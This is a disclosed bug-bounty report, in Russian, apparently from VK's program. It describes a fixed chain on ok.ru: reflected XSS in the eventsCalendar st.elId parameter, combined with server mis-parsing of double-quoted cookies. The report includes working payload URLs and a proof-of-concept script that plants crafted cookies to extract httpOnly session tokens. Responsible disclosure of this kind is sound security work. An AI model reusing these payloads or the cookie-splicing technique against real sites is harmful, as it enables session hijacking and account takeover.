[ok.ru] XSS + кража httpOnly cookie

Summary by the hacker
Уязвимости обнаружены в коллаборации с bratka

Описание

В эксплуатации используются 2 уязвимости:
  • XSS на ok.ru
  • Неправильный парсинг двойных кавычек в веб-сервере

Уязвимость 1

Сценарий /dk?st.cmd=eventsCalendar некорректно обрабатывает параметр st.elId, что позволяет выполнить произвольный JS код в контексте сайта ok.ru
Пример
Авторизуемся в приложении, открываем ссылку
 https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-alert(document.domain)-%27
Фрагмент http ответа
 require(['OK/AddHolidayPopup'], function(p){p.setState(''-alert(document.domain)-'', 'not-added');});

Уязвимость 2

Веб-сервер некорректно обрабатывает двойные кавычки в cookie.
Например, следующее значение
 Cookie: param1="value1; secret=value; param2=value2";
Для браузера будет восприниматься как 3 cookie значения: param1, secret, param2. Причем secret может быть в том числе и httpOnly.
Но для веб-сервера ok.ru это будет одно длинное значение param1. Таким образом, любой вывод cookie значений на страницу может быть использован для извлечения значений httpOnly cookie. Единственное препятствие - наличие дополнительных cookie, в которых тоже используются двойные кавычки (например, cookie vdt).
Пример
 GET /dk?st.cmd=anonymMain HTTP/2
 Host: ok.ru
 Cookie: _statid="BEGIN; SECRET=VALUE; ZEND=END"

PoC

Логика эксплуатации
  • Создаем cookie _statid="BEGIN;path=/dk; которая за счет path будет идти в запросе первой
  • Создаем cookie ZEND=END"; которая будет добавлена в конце заголовка Cookie
  • Извлекаем значение запросив страницу /dk?st.cmd=anonymMain
 https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-(document.cookie='vdt=;path=/dk;',document.cookie='cookieChoice=;domain=.ok.ru;',document.cookie='_statid="BEGIN;path=/dk;',document.cookie='ZEND=END";',fetch('/dk?st.cmd=anonymMain').then(r=>r.text()).then(r=>alert(r.match(/data-search-params-to-send=".*?"/))))-%27
Успех эксплоита зависит от того, находится ли cookie vdt в середине заголовка Cookie или в конце.
Если vdt идет после JSESSIONID или AUTH_TOKEN - то эксплоит успешно их извлекает.
Мне удавалось успешно авторизовываться в приложении и извлекать httpOnly идентификаторы сессии без каких-либо дополнительных взаимодействий с cookie.
Reward
₽180,000
Odnoklassniki
VK
Report No.: 3915
Created: December 28, 2023, 09:18
Disclosed: July 16, 13:30
Status: Fixed
Type: Vulnerability
Severity:
Critical
Author:BlackFan

Files

Screenshot at 13-10-32.png
Screenshot at 12-56-45.png
Comments
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
SergeyNechaev
December 28, 2023
By
wellenc_lex_vk
December 29, 2023
By
p.uvarov
July 16, 12:53
By
p.uvarov
July 16, 12:54